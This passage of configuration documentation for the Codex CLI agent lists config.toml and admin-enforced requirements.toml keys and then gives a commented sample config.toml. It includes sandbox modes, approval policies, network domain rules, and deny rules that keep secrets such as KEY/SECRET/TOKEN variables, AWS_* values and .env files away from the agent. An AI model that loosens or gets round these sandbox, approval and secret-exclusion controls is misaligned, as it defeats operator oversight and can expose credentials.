| `apps._default.{enabled,destructive_enabled,open_world_enabled,approvals_reviewer,default_tools_approval_mode}` | mixed | Defaults for all apps (`destructive_hint` / `open_world_hint` tools; reviewer inherits top-level `approvals_reviewer` when omitted). |
| `apps.<id>.{destructive_enabled,open_world_enabled,default_tools_enabled,approvals_reviewer,default_tools_approval_mode}` | mixed | Per-app overrides. |
| `apps.<id>.tools.<tool>.enabled` / `.approval_mode` | mixed | Per-tool overrides (e.g. `repos/list`). |
| `tool_suggest.discoverables` / `.disabled_tools` | array<table> | Allow/deny tool suggestions for connectors or plugins (`{type = "connector"\|"plugin", id}`). |
| `marketplaces.<name>.{source_type,source,ref,sparse_paths}` | mixed | Plugin marketplace config: `source_type` `git` \| `local`; `source` is a Git location or an absolute local root containing `.agents/plugins/marketplace.json`; optional `ref` and `sparse_paths`. Definable in system, cloud-managed, user, or trusted-project config. |
| `plugins.<plugin>.enabled` | boolean | Enable/disable a local-marketplace plugin (`plugin-name@marketplace-name` key); doesn't override workspace-managed enabled states. |
### Features
| Key | Type | Description |
|-----|------|-------------|
| `features.apps` / `.hooks` / `.unified_exec` / `.shell_snapshot` / `.multi_agent` / `.goals` / `.remote_plugin` / `.fast_mode` / `.shell_tool` / `.enable_request_compression` / `.skill_mcp_dependency_install` | boolean | Stable toggles, on by default (see [Config basics](./config-basics.md)). `features.hooks`: `features.codex_hooks` is a deprecated alias. `features.unified_exec`: enabled on all platforms; user opt-outs are ignored, only managed requirements can disable it. `features.apps`: app and connector traffic isn't controlled by the sandboxed-command network proxy. |
| `features.ultrafast_mode` | boolean | Ultrafast mode controls (stable; on by default), independent of `features.fast_mode`; availability depends on model and account. |
| `features.personality` | boolean | Removed feature flag; accepted for compatibility and ignored. |
| `features.prefer_mxc` | boolean | Prefer MXC for local Windows execution when capabilities and policy allow it, otherwise retain the configured legacy sandbox. Disabled by default in the standalone CLI; command failures don't trigger fallback. |
| `features.prevent_idle_sleep` | boolean | Prevent sleep while a turn runs (experimental; off by default). |
| `features.memories` | boolean | Enable Memories (off by default). |
| `features.code_mode.{enabled,excluded_tool_namespaces,direct_only_tool_namespaces}` | mixed | Code mode (under development; off by default). |
| `features.context_management.experimental_mode` | boolean | Experimental; not currently available. |
| `features.rollout_budget.{enabled,limit_tokens,reminder_interval_tokens,sampling_token_weight,prefill_token_weight}` | mixed | Rollout budget tracking (under development; `limit_tokens` required when enabled; reminder interval defaults to 10% of the limit; weights default `1.0`). |
| `features.network_proxy` | boolean \| table | Start the sandboxed-command network proxy (experimental; off by default). Required to enforce permission-profile domain rules unless managed `experimental_network` requirements start it. Doesn't filter web search, apps, MCP, or other hosted tools. |
| `features.network_proxy.{enabled,domains,unix_sockets,allow_local_binding,enable_socks5,enable_socks5_udp,allow_upstream_proxy,dangerously_allow_non_loopback_proxy,dangerously_allow_all_unix_sockets,proxy_url,socks_url}` | mixed | Policy fields. `domains` is unset by default (no external destinations until `allow` rules); `enable_socks5` / `enable_socks5_udp` / `allow_upstream_proxy` default `true`; `proxy_url` defaults `"http://127.0.0.1:3128"`, `socks_url` `"http://127.0.0.1:8081"`. |
| `features.web_search` / `.web_search_cached` / `.web_search_request` | boolean | Deprecated; prefer top-level `web_search`. |
| `suppress_unstable_features_warning` | boolean | Suppress the under-development feature warning. |
### Hooks
| Key | Type | Description |
|-----|------|-------------|
| `hooks` | table | Inline lifecycle hooks (same event schema as `hooks.json`). |
| `hooks.<Event>` | array<table> | Matcher groups: `PreToolUse`, `PermissionRequest`, `PostToolUse`, `PreCompact`, `PostCompact`, `SessionStart`, `SessionEnd`, `SubagentStart`, `SubagentStop`, `UserPromptSubmit`, `Stop`, `Interrupt`. |
| `hooks.<Event>[].hooks[]` | table | Handler; command and MCP tool hooks supported (prompt/agent parsed but skipped). |
| `hooks.<Event>[].hooks[].async` | boolean | Run a command hook in the background (default `false`; `SessionEnd` always synchronous). |
| `hooks.<Event>[].hooks[].additionalContextLimit` | integer | Per-handler token threshold before oversized `additionalContext` is saved to disk (default `2500`; `0` = full context). |
| `hooks.<Event>[].hooks[].commandWindows` (alias `command_windows`) | string | Windows-only command override. |
### Memories
| Key | Type | Description |
|-----|------|-------------|
| `memories.generate_memories` / `.use_memories` | boolean | Toggle memory generation / injection (default `true`). |
| `memories.disable_on_external_context` (legacy `no_memories_if_mcp_or_web_search`) | boolean | Keep threads using MCP, web search, or tool search out of memory generation (default `false`). |
| `memories.max_raw_memories_for_consolidation` | number | Default `256`, capped at `4096`. |
| `memories.max_unused_days` | number | Default `30`, clamped `0`-`365`. |
| `memories.max_rollout_age_days` | number | Default `30`, clamped `0`-`90`. |
| `memories.max_rollouts_per_startup` | number | Default `16`, capped at `128`. |
| `memories.min_rollout_idle_hours` | number | Default `6`, clamped `1`-`48`. |
| `memories.min_rate_limit_remaining_percent` | number | Default `25`, clamped `0`-`100`. |
| `memories.extract_model` / `.consolidation_model` | string | Model overrides for memory jobs. |
### Shell / environment / execution
| Key | Type | Description |
|-----|------|-------------|
| `shell_environment_policy.inherit` | `all`\|`core`\|`none` | Baseline env inheritance for subprocesses. |
| `shell_environment_policy.ignore_default_excludes` | boolean | Keep `KEY`/`SECRET`/`TOKEN` vars before filters run (default `true`); `false` applies automatic secret-name exclusions. |
| `shell_environment_policy.filters` | map<string, `include`\|`exclude`> | Canonical case-insensitive pattern filters; includes form an allowlist and can't restore excluded values. |
| `shell_environment_policy.exclude` / `.include_only` | array<string> | Legacy arrays (don't combine with `filters` in a layer). |
| `shell_environment_policy.set` | map<string,string> | Explicit values injected after exclusions (include filters can still remove them). |
| `shell_environment_policy.experimental_use_profile` | boolean | Use the user shell profile when spawning subprocesses. |
| `background_terminal_max_timeout` | number | Max ms for empty `write_stdin` polls (default `300000`); replaces `background_terminal_timeout`. |
| `tool_output_token_limit` | number | Token budget per stored tool output. |
| `tools.web_search` | boolean \| table | Web search tool config (`context_size` low/medium/high, `allowed_domains`, `location {country, region, city, timezone}`); separate from sandbox network domain rules and doesn't restrict connectors or MCP. |
| `tools.view_image` | boolean | Enable the `view_image` local-image tool. |
| `web_search` | `disabled`\|`cached`\|`indexed`\|`live` | Web search mode (default `cached`; defaults to `live` with `--yolo` or another full access sandbox setting). |
| `experimental_use_unified_exec_tool` | boolean | Legacy name; prefer `[features].unified_exec` or `codex --enable unified_exec`. |
### Instructions & project docs
| Key | Type | Description |
|-----|------|-------------|
| `instructions` | string | Reserved for future use; prefer `model_instructions_file` or `AGENTS.md`. |
| `developer_instructions` | string | Additional injected developer instructions. |
| `model_instructions_file` | path | Replaces built-in instructions instead of `AGENTS.md`. |
| `compact_prompt` / `experimental_compact_prompt_file` | string / path | History-compaction prompt override (inline or file; the file form is experimental). |
| `project_root_markers` | array<string> | Project root marker filenames (default `[".git"]`). |
| `project_doc_max_bytes` | number | Bytes read from each `AGENTS.md`. |
| `project_doc_fallback_filenames` | array<string> | Fallback filenames when `AGENTS.md` is missing. |
### History, logging, telemetry
| Key | Type | Description |
|-----|------|-------------|
| `history.persistence` | `save-all`\|`none` | Save session transcripts to `history.jsonl`. |
| `history.max_bytes` | number | Cap history file size (drops oldest entries). |
| `log_dir` | path | Log directory (default `$CODEX_HOME/log`); setting it also enables `codex-tui.log`. |
| `sqlite_home` | path | SQLite-backed state DB directory (agent jobs, resumable runtime state). |
| `notify` | array<string> | External notification command (JSON payload argument). |
| `check_for_update_on_startup` | boolean | Check for updates on startup (set `false` only when centrally managed). |
| `feedback.enabled` | boolean | Enable `/feedback` submission across local clients (default `true`). |
| `analytics.enabled` | boolean | Enable/disable analytics for this machine/profile; in Codex CLI `false` also disables custom OTLP metrics exporters; unset applies the client default. |
| `hide_agent_reasoning` / `show_raw_agent_reasoning` | boolean | Suppress reasoning events (TUI and `codex exec`) / surface raw reasoning when emitted. |
| `otel.environment` | string | Environment tag (default `dev`). |
| `otel.exporter` / `.trace_exporter` | `none`\|`otlp-http`\|`otlp-grpc` | Exporter selection with endpoint metadata. |
| `otel.metrics_exporter` | `none`\|`statsig`\|`otlp-http`\|`otlp-grpc` | Defaults to `statsig`; `analytics.enabled = false` disables it in the CLI; `none` disables metrics export independently. |
| `otel.log_user_prompt` | boolean | Opt in to exporting raw user prompts with OTel logs. |
| `otel.exporter.<id>.{endpoint,protocol,headers}` / `otel.trace_exporter.<id>.{...}` | mixed | `protocol` `binary` \| `json`; static headers. |
| `otel.exporter.<id>.tls.{ca-certificate,client-certificate,client-private-key}` / `otel.trace_exporter.<id>.tls.*` | string | TLS certificate paths. |
### Auth & login
| Key | Type | Description |
|-----|------|-------------|
| `chatgpt_base_url` | string | Override the ChatGPT login flow base URL. |
| `cli_auth_credentials_store` | `file`\|`keyring`\|`auto`\|`ephemeral` | Where the CLI stores cached credentials. |
| `forced_login_method` | `chatgpt`\|`api` | Restrict to one auth method. |
| `forced_chatgpt_workspace_id` | string (uuid) | Limit ChatGPT login to one workspace. |
### UI (TUI / desktop)
| Key | Type | Description |
|-----|------|-------------|
| `tui.notifications` | boolean \| array<string> | Enable/filter TUI notifications. |
| `tui.notification_method` | `auto`\|`osc9`\|`bel` | Terminal notification mechanism (default `auto`). |
| `tui.notification_condition` | `unfocused`\|`always` | When notifications fire (default `unfocused`). |
| `tui.animations` / `.show_tooltips` | boolean | Welcome/status animations and tooltips (default `true`). |
| `tui.alternate_screen` | `auto`\|`always`\|`never` | Alternate screen usage (`auto` skips it in Zellij). |
| `tui.resume_cwd` | `current`\|`session` | Working directory on resume/fork (unset asks when they differ). |
| `tui.vim_mode_default` | boolean | Start the composer in Vim normal mode (toggle with `/vim`). |
| `tui.raw_output_mode` | boolean | Start in raw scrollback mode (toggle with `/raw` or `alt-r`). |
| `tui.auto_recap` | boolean | Automatic recaps while the terminal is unfocused (default `true`; `/recap` remains). |
| `tui.show_server_version_notice` | boolean | Informational notices about app-server version differences (default `true`). |
| `tui.status_line` / `.terminal_title` | array<string> \| null | Footer / title item ids (`terminal_title` defaults `["spinner", "project"]`; `null` disables). |
| `tui.theme` | string | Syntax-highlighting theme (kebab-case). |
| `tui.disable_paste_burst` | boolean | Disable burst-paste detection (default `false`); takes precedence over the legacy top-level `disable_paste_burst`. |
| `tui.keymap.<context>.<action>` | string \| array<string> | Keybinding; contexts: `global`, `chat`, `composer`, `editor`, `vim_normal`, `vim_operator`, `vim_text_object`, `pager`, `list`, `approval`. Selected composer actions fall back to `global`. `= []` unbinds. Key names such as `ctrl-a`, `shift-enter`, `page-down`, `minus`. |
| `tui.model_availability_nux.<model>` | integer | Internal startup-tooltip state keyed by model slug. |
| `file_opener` | `vscode`\|`vscode-insiders`\|`windsurf`\|`cursor`\|`none` | Citation link scheme (default `vscode`). |
| `disable_paste_burst` | boolean | Legacy fallback for `tui.disable_paste_burst`. |
| `windows_wsl_setup_acknowledged` | boolean | Windows onboarding acknowledgement. |
| `desktop.custom_file_handlers.<id>.{label,icon,command,args,input,supports_ssh}` | mixed | ChatGPT desktop app custom "Open in" handlers (user-level only; `label` / `icon` / `command` required; `input` `path` \| `json_argument` \| `json_stdin`, default `path`; `args` default `[]`; `supports_ssh` default `false`). |
| `notice.{hide_full_access_warning,hide_world_writable_warning,hide_rate_limit_model_nudge,hide_gpt5_1_migration_prompt,hide_gpt-5.1-codex-max_migration_prompt}` | boolean | In-product notice acknowledgement flags (mostly auto-managed). |
| `notice.model_migrations` | map<string,string> | Acknowledged model migrations as old->new mappings. |
## `requirements.toml`
Admin-enforced configuration that constrains security-sensitive settings users can't override (see enterprise managed configuration for locations and examples). For ChatGPT Business and Enterprise, Codex can also apply cloud-fetched requirements. Omitted keys remain unconstrained; some keys enforce an exact value (users can't override an enforced path, update preference, login-shell policy, or feedback setting). `[features]` pins runtime flags by the same canonical keys as `config.toml`, plus documented app-only keys.
| Key | Type | Description |
|-----|------|-------------|
| `sqlite_home` / `log_dir` / `model_catalog_json` / `check_for_update_on_startup` / `allow_login_shell` | mixed | Enforce the corresponding `config.toml` value. |
| `allowed_login_methods` | array<string> | Allow `chatgpt`, `api`, or both (at least one; `api` includes Amazon Bedrock). Local system requirements file or macOS MDM only; cloud-managed values ignored. |
| `allowed_chatgpt_workspaces` | array<string> | Restrict ChatGPT login (including access tokens) to listed workspace IDs; empty list disables ChatGPT login. Local file / MDM only. |
| `cli_auth_credentials_store` | `file`\|`keyring`\|`auto`\|`ephemeral` | Enforce the CLI credential store (`ephemeral` keeps credentials in memory). Local file / MDM only. |
| `chatgpt_base_url` | string | Enforce the ChatGPT service base URL before authentication and cloud-policy retrieval. Local file / MDM only. |
| `feedback.enabled` | boolean | Enforce feedback availability. |
| `allowed_approval_policies` | array<string> | Allowed policies (`on-request`, `never`, `granular`). Include `untrusted` to permit the stricter policy derived from an untrusted project; it can't be selected directly via `approval_policy`. |
| `allowed_approvals_reviewers` | array<string> | Allowed `approvals_reviewer` values (`user`, `auto_review`). |
| `guardian_policy_config` / `guardian_extra_policy` | string | Managed auto-review policy / extra policy (take precedence over local `[auto_review].policy` / `.extra_policy`; blank ignored). |
| `additional_developer_instructions` | string | Managed developer instructions as a separate developer message (rejected above 10,000 estimated tokens). |
| `auto_review.required_on_models` | array<string> | Model slugs that must use automatic review (non-empty, no provider namespace; lists from sources combine). |
| `auto_review.ignore_rules` | array<string> | Full model slugs (with provider namespace when present) for which `allow` prefix rules are ignored; deny and network rules still apply. |
| `allowed_permission_profiles` / `.<name>` | table<boolean> | Complete allowlist; omitted or `false` = denied (including future profiles). Matched by name across sources; a higher-precedence source can turn a profile off. |
| `default_permissions` | string | Managed default profile (must be allowed). Set explicitly; if omitted, Codex defaults to `:workspace` only when both `:workspace` and `:read-only` are allowed. |
| `enforce_residency` | string | Require a data residency (currently `us`). |
| `model_provider` | string | Enforce the provider ID. |
| `model_providers.<id>` | table | Managed provider definitions; each replaces the complete provider with the same ID (no field merging). |
| `models.new_thread.{model,model_reasoning_effort,service_tier}` | string | Managed defaults for new local threads (not enforcement). An explicit override of model or effort via `--model` / `--config` / `--profile` makes Codex ignore both `model` and `model_reasoning_effort`; `service_tier` is independent. |
| `permissions.<name>` | table | Admin-defined profile (same schema as `config.toml`); name can't start with `:`, be `filesystem`, or duplicate a loaded profile. |
| `permissions.filesystem.deny_read` | array<string> | Admin-enforced read denials (paths/globs). |
| `allowed_sandbox_modes` | array<string> | Allowed `sandbox_mode` values. |
| `windows.allowed_sandbox_implementations` | array<string> | Allowed legacy implementations (`elevated`, `unelevated`; non-empty; `elevated` preferred when both allowed). Doesn't restrict `mxc`. |
| `windows.allow_mxc` | boolean | `false` prohibits explicit MXC selection and `features.prefer_mxc`; omitted/`true` permits but doesn't enable or require it. |
| `remote_sandbox_config[].{hostname_patterns,allowed_sandbox_modes}` | mixed | First entry whose case-insensitive patterns (`*`, `?`) match the host overrides top-level `allowed_sandbox_modes` (sandbox modes only). |
| `allowed_web_search_modes` | array<string> | Allowed `web_search` values (`disabled` always allowed; empty list = only `disabled`). |
| `allow_managed_hooks_only` | boolean | Skip user/project/session/plugin hooks; keep managed hooks. |
| `allow_appshots` / `allow_remote_control` | boolean | `false` disables Appshots / device remote control. |
| `allow_browser_and_computer_use` | boolean | `false` blocks both Browser Use and Computer Use; `true`/omitted doesn't enable either. |
| `features.<name>` | boolean | Pin a runtime/app feature: `apps`, `in_app_updates`, `in_app_browser`, `in_app_chat`, `in_app_dictation`, `in_app_local_automation`, `browser_use`, `browser_use_external`, `browser_use_full_cdp_access`, `fast_mode`, `guardian_approval`, `memories`, `multi_agent`, `plugins`, `remote_plugin`, `realtime_conversation` (CLI `/voice`), `computer_use` (also Record & Replay), `workspace_dependencies`, `plugin_sharing` (cloud-managed only). |
| `in_app_browser.allow_external_browser_settings_import` | boolean | `false` prevents importing settings/browsing data from an external browser (managed-only). |
| `browser_use.{allow_webmcp,allow_history_access,disable_auto_review,allow_global_persistent_approval}` | boolean | Managed Browser Use switches (`allow_webmcp = true` opts the built-in browser into site tools; `disable_auto_review = true` asks the user instead). |
| `browser_use.default_origin_policy.{access,downloads,uploads,full_cdp_access,auto_review}` | `allow`\|`deny` | Fallback origin policy; `deny` on `access` also blocks uploads/downloads/CDP/auto review. `allow` only lets normal checks continue. |
| `browser_use.default_origin_policy.persistent_approval` / `.access_approval_lifetime` | boolean / `turn`\|`thread` | Whether `Always allow` is available / lifetime of non-persistent approvals (product default `thread`). |
| `browser_use.origins.<pattern>.*` | table | Origin-specific policy with the same fields. Keys `<scheme>://<host-pattern>[:<port>]` (`http`/`https`; exact host, `*.example.com`, `**.example.com`); paths, queries, credentials, wildcard schemes/ports invalid; quote in TOML. Multiple matches use the most restrictive value (`deny` > `allow`, `false` > `true`, `turn` > `thread`). |
| `computer_use.{allow_locked_computer_use,allow_persistent_approval,default_app_access}` | mixed | Locked Use enablement on managed macOS; saving app approvals across sessions; fallback app access (product default `allow`). |
| `computer_use.macos.bundle_ids.<bundle-id>` / `computer_use.windows.aumids.<aumid>` | `allow`\|`deny` | Exact app identity rules; an app must be allowed by each policy source (a `deny` from either wins). |
| `computer_use.windows.exes[].{publisher_name,product_name,binary_name,access}` | mixed | Rules for signed unpackaged executables matched by verified publisher (X.500 DN) and signed `ProductName` (and optional `OriginalFilename`); deny wins; unsigned use the default; ambiguous identity is blocked. |
| `application.network.{enabled,domains}` / `.domains.<domain>` | boolean / table | Destination restrictions for desktop app requests (HTTPS/WSS to explicitly allowed exact domains only; `enabled` defaults `true` when the table is present). Not for native modules or spawned processes. |
| `experimental_network.*` | mixed | Sandboxed networking requirements for local commands, independent of `features.network_proxy`: `enabled`, `http_port`, `socks_port`, `allow_upstream_proxy`, `dangerously_allow_non_loopback_proxy`, `dangerously_allow_all_unix_sockets`, `domains` / `domains.<pattern>` (`allow`/`deny`; exact, `*.example.com`, `**.example.com`, `*`; `deny` wins), `allowed_domains`, `denied_domains` (don't combine either with `domains`), `managed_allowed_domains_only`, `unix_sockets` (macOS, absolute paths), `allow_local_binding`. Doesn't route browser traffic or control web search, apps, MCP, or native-app traffic; Work Cloud doesn't inherit them. |
| `hooks.managed_dir` / `.windows_managed_dir` / `.<Event>` | mixed | Admin-enforced managed hooks (absolute existing directory; same schema as inline `[hooks]`, including `async`, `additionalContextLimit`, `commandWindows`). |
| `mcp_servers.<id>.identity.{command,url}` | string \| table | MCP server allowlist; both `<id>` and identity must match or the server is disabled. `command` exact string or `{executable, args[]{match = exact\|prefix\|regex, value\|expression}}` (full-length, ordered); `url` exact string or `{match, value\|expression}`. |
| `plugins.<plugin>.mcp_servers.<server>.identity.*` | mixed | Same identity allowlist scoped to a plugin's bundled servers (when `plugins` is present, unmatched plugin servers are disabled). |
| `marketplaces.restrict_to_allowed_sources` | boolean | When `true`, configured marketplace sources must match `allowed_sources` for add, install, refresh, and runtime loading (curated Git catalogs too). |
| `marketplaces.allowed_sources.<name>.{source,url,ref,host_pattern,path}` | mixed | `source` `git` (needs `url`, optional exact `ref`) \| `host_pattern` (regex on lowercase hostname; use `^`/`$`) \| `local` (absolute `path`). Names accumulate across layers. |
| `apps.<id>.enabled` / `.tools.<tool>.approval_mode` | mixed | Managed app/tool constraints (`enabled = false` stays restrictive when merging sources). |
| `rules.prefix_rules[].{pattern,decision,justification}` | mixed | Admin-enforced command prefix rules merged with `.rules` files. `pattern` is an array of tokens each with `token` or `any_of`; `decision` is `prompt` or `forbidden` only. |
## Notes
- Both tables above are condensed from the official page (493 `config.toml` options plus the `requirements.toml` table); consult the source for exact wording of edge cases before relying on precedence details in automated tooling.
- Removed / changed since earlier revisions of this page: `windows.sandbox_private_desktop` is no longer listed in the reference (both legacy Windows sandbox modes use a private desktop by default); `features.personality` is a removed flag; `model_providers.<id>.wire_api` accepts only `responses` (`wire_api = "chat"` isn't supported); `approval_policy = "untrusted"` is unsupported; `personality` values `friendly` / `pragmatic` no longer select a style.
- Managed permission-profile allowlists (`allowed_permission_profiles`, managed `default_permissions`) require Codex 0.138.0 or later; Codex 0.137.0 and earlier ignore them. Use `allowed_sandbox_modes` with `sandbox_mode`, and `allowed_permission_profiles` with managed `default_permissions`.
- The `in_app_browser` (browser pane a person uses), `browser_use` (agent-driven browser work), and `computer_use` (agent-driven native desktop apps) requirements are three separate surfaces. Nested Browser Use / Computer Use policy values don't grant access by themselves; where managed requirements and `config.toml` both apply, a `deny` from either wins.
- This page omits the official "Settings for Local computer access with Work Cloud" section, which covers ChatGPT Work only.
- Latest JSON schema: https://learn.chatgpt.com/docs/config-schema.json.
## Related
- [Config basics](./config-basics.md)
- [Advanced Configuration](./config-advanced.md)
- [Sample Configuration](./config-sample.md)
- [Model Context Protocol](./mcp-config.md)
references/config/config-sample.md
# Sample Configuration
A complete example `config.toml` covering most keys Codex reads, with default behaviors and short notes. Copy only the sections you need into `~/.codex/config.toml` (or a project-scoped `.codex/config.toml`).
## Signature / Usage
The sample selects GPT-6.1 Sol, which requires access for your signed-in account or workspace; if it isn't available, replace it with a model you can use.
```toml
################################################################################
# Core Model Selection
################################################################################
model = "gpt-6.1-sol"
# personality = "none" # omit the built-in Personality section; friendly/pragmatic no longer select a style
# review_model = "gpt-6.1-sol" # /review override; default: current session model
model_provider = "openai"
# oss_provider = "ollama"
# service_tier = "fast"
# model_context_window = 128000
# model_auto_compact_token_limit = 64000
# model_auto_compact_token_limit_scope = "total" # total | body_after_prefix
# tool_output_token_limit = 12000
# model_catalog_json = "/absolute/path/to/models.json"
# background_terminal_max_timeout = 300000 # ms; default 5m
# log_dir = "/absolute/path/to/codex-logs" # setting explicitly enables codex-tui.log
# sqlite_home = "/absolute/path/to/codex-state"
################################################################################
# Reasoning & Verbosity (Responses API capable models)
################################################################################
# model_reasoning_effort = "medium" # levels vary by model and client
# plan_mode_reasoning_effort = "high"
# model_reasoning_summary = "auto" # auto | concise | detailed | none
# model_verbosity = "medium" # low | medium | high
# model_supports_reasoning_summaries = true
################################################################################
# Instruction Overrides
################################################################################
# developer_instructions = ""
# compact_prompt = ""
# model_instructions_file = "/absolute/or/relative/path/to/instructions.txt"
# experimental_compact_prompt_file = "/absolute/or/relative/path/to/compact_prompt.txt"
# notify = ["notify-send", "Codex"]
################################################################################
# Approval & Sandbox
################################################################################
approval_policy = "on-request" # on-request (default) | never | { granular = {...} }
# approvals_reviewer = "user" # user | auto_review
# approval_policy = { granular = {
# sandbox_approval = true, rules = true, mcp_elicitations = true,
# request_permissions = false, skill_approval = false
# } }
allow_login_shell = true # default true
sandbox_mode = "read-only" # read-only | workspace-write | danger-full-access
# default_permissions = ":workspace" # :read-only | :workspace | :danger-full-access | custom [permissions.<name>]
################################################################################
# Authentication & Login
################################################################################
cli_auth_credentials_store = "file" # file | keyring | auto
chatgpt_base_url = "https://chatgpt.com/backend-api/"
# openai_base_url = "https://us.api.openai.com/v1"
# forced_chatgpt_workspace_id = "00000000-0000-0000-0000-000000000000"
# forced_login_method = "chatgpt" # chatgpt | api
mcp_oauth_credentials_store = "auto" # auto | file | keyring
# mcp_optional_startup_grace_ms = 1000 # 0 = wait for each server's startup_timeout_sec
# mcp_oauth_callback_port = 4321 # server-specific oauth.callback_port overrides
# mcp_oauth_callback_url = "https://devbox.example.internal/callback"
################################################################################
# Project Documentation Controls
################################################################################
project_doc_max_bytes = 32768
project_doc_fallback_filenames = []
# project_root_markers = [".git"]
################################################################################
# History & File Opener, UI misc
################################################################################
file_opener = "vscode" # vscode | vscode-insiders | windsurf | cursor | none
hide_agent_reasoning = false
show_raw_agent_reasoning = false
windows_wsl_setup_acknowledged = false
check_for_update_on_startup = true
################################################################################
# Web Search
################################################################################
web_search = "cached" # disabled | cached | indexed | live (live with --yolo / full access)
# suppress_unstable_features_warning = true
################################################################################
# Agents
################################################################################
[agents]
# enabled = true
# max_concurrent_threads_per_session = 6
# default_subagent_model = "gpt-6.1-sol"
# default_subagent_reasoning_effort = "medium"
# interrupt_message = true
# [agents.reviewer]
# description = "Find correctness, security, and test risks in code."
# config_file = "./agents/reviewer.toml" # relative to the config.toml that defines it
################################################################################
# Skills
################################################################################
# [skills]
# max_context_tokens = 2000 # default 2% of context window; capped at 10000
# [[skills.config]]
# path = "/path/to/skill/SKILL.md"
# enabled = false
################################################################################
# Sandbox settings (workspace-write only)
################################################################################
[sandbox_workspace_write]
writable_roots = []
network_access = false
exclude_tmpdir_env_var = false
exclude_slash_tmp = false
################################################################################
# Shell Environment Policy
################################################################################
[shell_environment_policy]
inherit = "all" # all | core | none
ignore_default_excludes = false # default true; false removes KEY/SECRET/TOKEN names before filters
set = {}
experimental_use_profile = false
[shell_environment_policy.filters]
"AWS_*" = "exclude"
"AZURE_*" = "exclude"
################################################################################
# Sandboxed networking
################################################################################
# [features.network_proxy]
# enabled = true
# domains = { "api.openai.com" = "allow", "example.com" = "deny" }
#
# [permissions.workspace.workspace_roots]
# "~/code/app" = true
# [permissions.workspace.filesystem]
# glob_scan_max_depth = 3
# ":workspace_roots" = { "." = "write", "**/*.env" = "deny" }
# "/absolute/path/to/secrets" = "deny"
# [permissions.workspace.network]
# enabled = true
# proxy_url = "http://127.0.0.1:43128"
# admin_url = "http://127.0.0.1:43129"
# enable_socks5 = false
# socks_url = "http://127.0.0.1:43130"
# enable_socks5_udp = false
# allow_upstream_proxy = false
# dangerously_allow_non_loopback_proxy = false
# dangerously_allow_non_loopback_admin = false
# dangerously_allow_all_unix_sockets = false
# mode = "limited" # limited | full
# allow_local_binding = false
# [permissions.workspace.network.domains]
# "api.openai.com" = "allow"
# "example.com" = "deny"
# [permissions.workspace.network.unix_sockets]
# "/var/run/docker.sock" = "allow"
################################################################################
# History
################################################################################
[history]
persistence = "save-all" # save-all | none
# max_bytes = 5242880
################################################################################
# UI, Notifications, and Misc
################################################################################
[tui]
disable_paste_burst = false # overrides the legacy top-level setting
notifications = false
# notification_method = "auto" # auto | osc9 | bel
# notification_condition = "unfocused"
animations = true
show_tooltips = true
# auto_recap = true
# show_server_version_notice = true
# alternate_screen = "auto"
# resume_cwd = "session" # current | session
# status_line = ["model", "context-remaining", "git-branch"]
# terminal_title = ["spinner", "project"]
# theme = "catppuccin-mocha"
# [tui.keymap.global]
# open_transcript = "ctrl-t"
# open_external_editor = []
# [tui.keymap.composer]
# submit = ["enter", "ctrl-m"]
# [tui.keymap.chat]
# interrupt_turn = "f12"
# [tui.model_availability_nux]
# "gpt-6.1-sol" = 1
[analytics]
enabled = true
[feedback]
enabled = true
[notice]
# hide_full_access_warning = true
# hide_world_writable_warning = true
# hide_rate_limit_model_nudge = true
# hide_gpt5_1_migration_prompt = true
# "hide_gpt-5.1-codex-max_migration_prompt" = true
# model_migrations = { "gpt-5.4" = "gpt-6.1-sol" }
################################################################################
# Centralized Feature Flags
################################################################################
[features]
prefer_mxc = true # Windows: prefer MXC when supported; disabled by default in the standalone CLI
# shell_tool = true
# apps = true
# hooks = false
# shell_snapshot = true
# multi_agent = true
# remote_plugin = true
# network_proxy = true # required to enforce permission-profile domain rules
# fast_mode = true
# ultrafast_mode = true # independent of fast_mode
# enable_request_compression = true
# skill_mcp_dependency_install = true
# prevent_idle_sleep = false
# [features.code_mode]
# enabled = true
# excluded_tool_namespaces = ["mcp__codex_apps"]
# direct_only_tool_namespaces = ["mcp__history"]
# [features.rollout_budget]
# enabled = true
# limit_tokens = 100000
# reminder_interval_tokens = 10000
# sampling_token_weight = 1.0
# prefill_token_weight = 1.0
################################################################################
# Memories (enable with [features].memories first)
################################################################################
# [memories]
# generate_memories = true
# use_memories = true
# disable_on_external_context = false # legacy alias: no_memories_if_mcp_or_web_search
################################################################################
# Lifecycle hooks (inline or in a sibling hooks.json)
################################################################################
# [hooks]
# [[hooks.PreToolUse]]
# matcher = "^Bash$"
# [[hooks.PreToolUse.hooks]]
# type = "command"
# command = 'python3 "/absolute/path/to/pre_tool_use_policy.py"'
# timeout = 30
# statusMessage = "Checking Bash command"
################################################################################
# MCP servers
################################################################################
[mcp_servers]
# --- STDIO transport ---
# [mcp_servers.docs]
# enabled = true
# required = true
# command = "docs-server" # required
# args = ["--port", "4000"]
# env = { "API_KEY" = "value" }
# env_vars = ["ANOTHER_SECRET"]
# env_vars = ["LOCAL_TOKEN", { name = "REMOTE_TOKEN", source = "remote" }]
# cwd = "/path/to/server"
# experimental_environment = "remote"
# startup_timeout_sec = 10.0 # alias startup_timeout_ms
# tool_timeout_sec = 60.0
# enabled_tools = ["search", "summarize"]
# disabled_tools = ["slow-tool"]
# scopes = ["read:docs"]
# oauth_resource = "https://docs.example.com/"
# [mcp_servers.docs.tools.search]
# output_token_limit = 30000
# --- Streamable HTTP transport ---
# [mcp_servers.github]
# url = "https://github-mcp.example.com/mcp" # required
# bearer_token_env_var = "GITHUB_TOKEN"
# http_headers = { "X-Example" = "value" }
# env_http_headers = { "X-Auth" = "AUTH_ENV" }
# http_headers_helper = "company-auth mcp-headers"
# enabled_tools = ["list_issues"]
# disabled_tools = ["delete_issue"]
# scopes = ["repo"]
# [mcp_servers.github.oauth]
# client_id = "my-pre-registered-client"
# client_secret = "<client-secret>" # stored in config
# callback_url = "http://127.0.0.1/callback"
# callback_port = 4321 # set as well for http://127.0.0.1:4321/callback
################################################################################
# Model Providers (built-ins: openai, ollama, lmstudio, amazon-bedrock; IDs reserved)
################################################################################
[model_providers]
# --- built-in Amazon Bedrock provider options ---
# model_provider = "amazon-bedrock"
# model = "<bedrock-model-id>"
# [model_providers.amazon-bedrock.aws]
# profile = "default"
# region = "eu-central-1"
# --- OpenAI data residency ---
# [model_providers.openaidr]
# name = "OpenAI Data Residency"
# base_url = "https://us.api.openai.com/v1"
# wire_api = "responses" # only supported value
# # requires_openai_auth = true
# # request_max_retries = 4 # default 4; max 100
# # stream_max_retries = 5 # default 5; max 100
# # stream_idle_timeout_ms = 300000
# # supports_websockets = true
# # supports_standalone_web_search = true
